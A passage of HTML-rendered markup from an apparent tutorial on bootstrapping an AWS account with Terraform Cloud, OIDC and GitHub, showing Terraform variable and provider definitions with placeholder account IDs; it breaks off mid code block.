data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should get a result similar to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::888888888888:root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eBootstrap\u003c/h2\u003e\n\u003cp\u003eBefore you can manage any of your accounts through Terraform Cloud you'll need\nbootstrap some core infrastructure like OIDC so Terraform Cloud can authenticate\nsecurely and manage AWS Resources on your behalf.\u003c/p\u003e\n\u003cp\u003eI personally prefer doing this in two repositories:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra-bootstrap\u003c/code\u003e: This repository does the bare minimum to hook up terraform\ncloud with your AWS account and stores the state in git.  Its the only infra\nthat will not be controlled by your CI/CD pipeline.ccccccug\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003einfra\u003c/code\u003e: The actual repository where all the rest of your AWS resources are\nmanaged.  It will store state in Terraform Cloud and you can introduce a\nCI/CD pipeline for approving changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNote\u003c/strong\u003e: This repository will be generated with the terraform code.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAfter manually creating the git repository \u003ccode\u003einfra-boostrap\u003c/code\u003e in your Github\naccount We will need 3 providers to bootstrap the account \u003ccode\u003eaws\u003c/code\u003e, \u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we'll need\nfor creating these resources.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of the git reppository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you'll need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    github\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  allowed_account_ids\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that isn't the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repository\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan 